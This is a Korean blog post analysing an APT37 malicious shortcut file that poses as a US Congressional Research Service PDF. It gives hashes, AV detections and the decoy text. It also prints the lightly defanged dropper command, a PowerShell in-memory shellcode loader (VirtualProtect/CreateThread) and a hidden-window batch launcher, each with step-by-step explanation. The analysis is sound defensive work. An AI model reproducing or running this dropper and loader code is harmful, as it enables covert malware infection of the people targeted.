꿈을꾸는 파랑새

오늘은 세계적으로 유명한 APT 조직 APT 북한 APT 리퍼(Reaper, APT37)에서 만든 악성코드 인 동북공정(미국의회조사국(CRS Report). pdf.lnk(2024.4.3)에 대해 글을 적어보겠습니다.
해당 악성코드 해쉬
파일명:동북공정(미국의회조사국(CRS Report).pdf.lnk
사이즈:58,894,509 Bytes
MD5:358122718ba11b3e8bb56340dbe94f51
SHA-1:0c61effe0c06d57835ead4a574dde992515b9382
SHA-256:b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56

해당 악성코드에 포함된 파워셀 코드

악성코드에 포함된 PowerShell 코드
악성코드에 포함된 PowerShell 코드

StringData
{
    namestring: 
    relativepath: not present
    workingdir: not present
    commandlinearguments: /k fo(r) /f "(t)okens=*" %a in 
    ('dir C:\Windows\SysWow64\WindowsPowerShell\(v)1.0\*rshell(.)exe /s /b /od') 
    do call %a "$dirPath = Ge(t)-Location; if($di(r)Path -Match 'Syst(e)m32' 
    -or $dir(P)ath -Match 'Program Files') {$dir(P)ath = '%tem(p)%'}; $lnkPa(t)h =
    Get-Chil(d)Item -Path $dirPath -Recurse *(.)lnk | where-object {$_.leng(t)h 
    -eq 0x03(8)2A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object 
    Syste(m).IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO(.)FileAccess]
    ::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=N(e)w-Object 
    byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B(4)DD3);$pdfPath 
    = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pd(f)File -Encoding Byte;
    & $pdfPath;$lnkFile.Seek(0x00(4)B5E63,[System.IO.SeekOrigin]::Begin);
    $exeFile=New-Object byte[] 0x000D9402;$lnkFile.Rea(d)($exeFile, 0, 0x000D9402)
    ;$exePath=$env:publi(c)+'\'+'panic(.)dat';sc $exePath $exeFile 
    -Encoding Byte;$lnkFile(.)Seek(0x0058F265,[System.IO.SeekOrigin]::Begin)
    ;$stringByte = New-Object byte[] 0x000005A(9);$lnkFile.Read($stringByte, 
    0, 0x00(0)005A9);$batStrPath = $env:temp+'\'+'para(.)dat';$string 
    = [System.Text.Encoding](:):UT(F)8.GetString($stringByte);$string 
    | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,
    [System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;
    $lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'
    +'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString 
    = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString 
    | Out-File -FilePath $executePath -(E)ncoding ascii;& $executePath;$lnkFile
    .Close();remove-item -path $lnkPath -force;"&& exit
    iconlocation: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
}

악성 코드 분석

1. dir 명령을 사용한 파일 검색
dir 명령으로 C:\Windows\SysWow64\WindowsPowerShell\v1.0\ 경로에서 특정 이름(rshell.exe)을 가진 파일을 검색
/s는 하위 디렉터리까지 검색 /b는 간결한 형식 /od는 날짜 순 정렬
해당 악성코드 과정은 악성 페이로드를 로드하거나 실행할 수 있는 파일을 찾기 위한 것
2.lnk (바로가기 파일)
현재 디렉터리에서 lnk 파일을 재귀적으로 찾고 특정 크기(0x0382A8AD)의 파일만 필터링
.lnk 파일은 실행 파일이나 스크립트 로드
3. pdf 파일 생성
.lnk 파일에서 데이터를 특정 위치(0x00001090)부터 읽어 PDF 파일 형식으로 변환
PDF는 악성 페이로드를 삽입하거나 실행할 수 있는 벡터로 사용
생성된 PDF 파일을 실행(& $pdfPath)하여 의심스러운 작업을 수행
4.panic.dat 생성
.lnk 파일에서 특정 데이터를 읽고 실행 가능한 panic.dat 파일로 저장
5. 임시 배치 파일 생성 및 실행
임시 디렉터리에 배치 파일(price.bat)을 생성하고 실행
6.lnk 파일 삭제
.lnk 파일을 삭제

악성코드 에 포함된 PDF 내용
악성코드 에 포함된 PDF 내용

생성되는 동북공정(미국의회조사국(CRS Report).pdf 생성 파일 내용

한반도 통일에 대한 중국의 영향과
상원에 대한 질문
소수 직원 보고서
의 사용을 위해 준비된
외교관계 위원회 미국 상원
백12회 대회
두 번째 세션
2012년 12월 11일
외교관계위원회 사용을 위해 인쇄되었습니다.
월드 와이드 쉡에서 사용 가능:
hxxp://www.gpo(.)gov/fdsys/
미국 정부 인쇄소
미국 상원 외교위원회,
워싱턴 DC, 2012년 12월 11일.
친애하는 동료 여러분: 미래의 어느 시점에 한반도가 통일될 가능성을
생각할 때 흔히 독일 통일 모델을 떠올립니다. 첨부된 보고서의 목적은
회원국들에게 다른 결과도 가능하다는 것을 경고하는 것입니다.한반도
국경 내 영토에 대한 중국의 역사적 영유권 주장과 중국의 북한 내 투자
확대는 중국이 한반도 통일 과정을 반대하지는 않더라도 유인하려 할 수
있는 상황을 시사합니다.첨부된 보고서에는 중국과 북한의 무역 및 경제
교류, 중국 기업의 북한 내 투자 증가에 관한 광범위한 정보가 포함되어
있습니다.
상원 외교위원회 직원들은 역사적 관점에서 한반도의 일부가
역사적으로 중국의 일부였다는 중국의 주장과 이에 대한 한국의 평가에
관한 정보를 입수했습니다. 의회조사국(CRS)은 의원들이 이러한 상황에
대해 경각심을 가질 수 있도록 중국이 한반도에 대한 영유권 주장을
어떻게 제시하는지에 대한 글을 작성해 달라고 요청했습니다. 서울에
있는 동북아역사재단은 중국의 역사적 주장에 대한 한국의 견해를
제공함으로써 큰 도움을 주었습니다. 본 위원회와 저는 이 보고서에서
논의된 한반도 역사 분쟁에 대해 어떠한 입장도 취하지 않습니다.
상원의 심의를 위해 첨부된 보고서 서두에서 통일 전망과 미국에 대한
의미, 그리고 미국의 전반적인 대한 정책과 관련하여 중요한 질문들이
제기되었습니다.
한반도 통일에 관한 향후 참고자료가 될 이 보고서의 작성에 도움을
준 여러 북한 문제 학자들(부록 참조)과 키스 루세 및 기타 위원회
직원들에게 감사를 표합니다.
진심으로,
리차드 G. 루가,
랭킹 멤버.
일단 http 인 것을 보면 정말 오래 전의 PDF 파일인 것을 추측을 할 수가 있습니다.
그리고 C:\Users\user\AppData\Local\Temp 폴더에 para.dat,price.bat 파일 생성된 것을 확인할 수가 있습니다.

para.dat 내용

para.dat 내용
para.dat 내용

$exePath=$env:public+'\'(+)'panic(.)dat';$exeFile = Get-Content -
path $exe(P)ath -encoding byte; [Net.Ser(v)icePointManager]::Securi
tyProtocol = [Enum]::ToObject(([)Net.SecurityProt(o0colType], 3072)
;$k1123 = [System(.)Text(.)Encoding]::UTF8.GetString(34) + 'kernel3
2.dll' + [System(.)Text(.0Encoding]::UTF8.GetString(34);$a90234s = 
'[DllI(m)port(' + $k11(2)3 + ')]public static e(x)tern IntPtr Glo(b)
alAlloc(uint b,uint c);';$b = Add-Type -MemberDef(i)nition $a90(2)34
s  -Name 'AAA' -PassThr(u);$d3s9sdf = '[DllIm(p)ort(' + $k(1)123 + 
')]public static e(x)tern bool VirtualProtect(IntPtr a,uint b,uint
c,out IntPtr d);';$a90234sb = Add-Ty(p)e -Me(m)berDefinition $d3s9
sdf -Name 'AAB' -PassThru;$b3s9s03sfse = '[DllImport(' + $k1123 +
')]public s(t)atic extern IntPtr CreateThread(IntPtr a,uint b,I
ntPtr c,IntPtr d,uint e,IntPtr f);';$cake3sd2(3) = Add-Type -Me
mber(D)efinition $b3s9s03sfse  -Name 'BBB' -PassThru;$dtts9s03s
d23 = '[DllImport(' + $k1123 + ')]publ(i)c static extern IntPtr
WaitForSing(l)eObject(IntPtr a,uint b);';$fried3sd23 = Add-Type
-M(e)mberDefinition $dtts9s03sd23 (-)Name 'DDD' -PassThru;$byte
Count = $exeFile.Length;$buffer = $b::GlobalAlloc(0(x)0040, $by
teCount + 0x1(0)0);$old = 0;$a90234sb::VirtualProtect($buffer, 
$byteCount + 0x100, 0x40, [ref]($)old); for($i = 0;$i -lt $byte
Count;$i++) { [System.Runtime.InteropServices.Ma(r)shal]::Write
Byte($buffer, $i, $(e)xeFile[$i]); };$handle = $cake3sd23::Crea
teThread(0, 0, $buffe(r), 0, 0, 0);$fried3sd23::WaitF(o)rS
ingleObject($handle, 500 * 1000);

악성코드 분석

1.panic.dat 파일을 읽어 바이트 배열로 저장
2. kernel32.dll API 로드*
kernel32.dll은 윈도우의 기본 API 라이브러리 동적 메모리 할당(GlobalAlloc), 메모리 보호 변경(VirtualProtect), 스레드 생성(CreateThread), 스레드 대기(WaitForSingleObject)와 같은 함수들을 로드
3. 동적 메모리 할당
GlobalAlloc을 사용하여 메모리를 할당하며 할당된 메모리는 panic.dat에서 읽어온 데이터를 저장하기 위한 버퍼로 사용
4. 메모리 보호 변경
VirtualProtect를 사용하여 메모리 보호를 실행 가능한 상태(0x40,PAGE_EXECUTE_READWRITE)로 변경하면 메모리에 직접 로드되어 실행되는 것을 확인
5. 메모리에 악성 페이로드 로드
panic.dat의 데이터를 바이트 단위로 메모리 버퍼에 쓰면 메모리에 직접 삽입되고 실행될 준비
6. 스레드 생성 및 실행
CreateThread를 사용하여 새 스레드를 생성하며 할당된 메모리($buffer)의 데이터를 실행
WaitForSingleObject로 스레드 실행을 대기
메모리에 삽입된 페이로드가 실행

price.bat 내용

price.bat 내용
price.bat 내용

start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell(.)exe 
-windowstyle hidden "$stringPath=$env:temp+'\'+'para(.)dat';$stringByte 
= Get-Content -path $stringPath -encoding byte;$string = [System(.)Text(
.)Encoding]::UTF8.GetString($stringByte);$scriptBlock = [scriptblock]::
Create($string);&$scriptBlock;"

코드 분석

1. PowerShell 실행
PowerShell을 최소화된 상태로 실행 하면 -windowstyle hidden 옵션은 창을 숨겨 사용자가 실행 중인 활동을 인지하지 못하게 만드는 것이 목적
2.para.dat 읽기
임시 디렉터리(% temp%)에서 para.dat 파일을 읽으며 파일 내용은 바이트 배열로 저장
3. 바이트 데이터를 문자열로 변환
바이트 데이터를 UTF-8 인코딩을 사용하여 문자열로 변환하고 있으며 변환된 문자열은 악성 PowerShell 스크립트 동적으로 실행될 준비를 합니다
4. 문자열을 스크립트 블록으로 변환
문자열을 PowerShell 스크립트 블록으로 변환하며 스크립트 블록은 PowerShell에서 코드 실행을 위한 런타임 객체로 사용
5. 동적 실행
생성된 스크립트 블록을 즉시 실행 합니다.
통일, 군사, 교육 관련 종사자, 대북 관계자 분들을 목표를 하고 지속적인 공격을 하는 것 같음
탐지하는 보안 업체들은 다음과 같습니다.

PEStudio 로 본 결과
PEStudio 로 본 결과

AhnLab-V3:Dropper/LNK.Generic.S2343
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Pantera.190.68720BB0
Avast:LNK:Agent-HN [Trj]
AVG:LNK:Agent-HN [Trj]
Avira (no cloud):LNK/Susp.Gen
BitDefender:Heur.BZC.YAX.Pantera.190.68720BB0
CTX:Lnk.trojan.winlnk
Cynet:Malicious (score: 99)
DrWeb:Trojan.MulDrop26.49513
Emsisoft:Heur.BZC.YAX.Pantera.190.68720BB0 (B)
ESET-NOD32:LNK/TrojanDropper.Agent.DV
Fortinet:LNK/Agent.4F51!tr
GData:Heur.BZC.YAX.Pantera.190.68720BB0
Google:Detected
Huorong:Trojan/LNK.Agent.ba
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
Lionic:Microsoft:Trojan:Win32/WinLNK.HNDC!MTB
QuickHeal:LNK.RokRAT.48908 .GC
Rising:Trojan.Agent/LNK!1.AA03 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.rx
Sophos:Troj/LnkDrop-M
Symantec:Scr.Heuristic!gen20
Tencent:Win32.Trojan.Powecod.Zolw
Trellix (ENS):Generic .yl
Trellix (HX):Heur.BZC.YAX.Pantera.190.68720BB0
Varist:LNK/ABTrojan.WCSH-
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Pantera.190.68720BB0
ViRobot:LNK.S.Dropper.58894509
WithSecure:Malware.LNK/Susp.Gen
Zillya:Dropper.Agent.Script.483
항상 이런 것에 종사하시는 분들은 항상 조심하시는 것을 권장되며 관리가 필요할 것 같습니다.

728x90
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band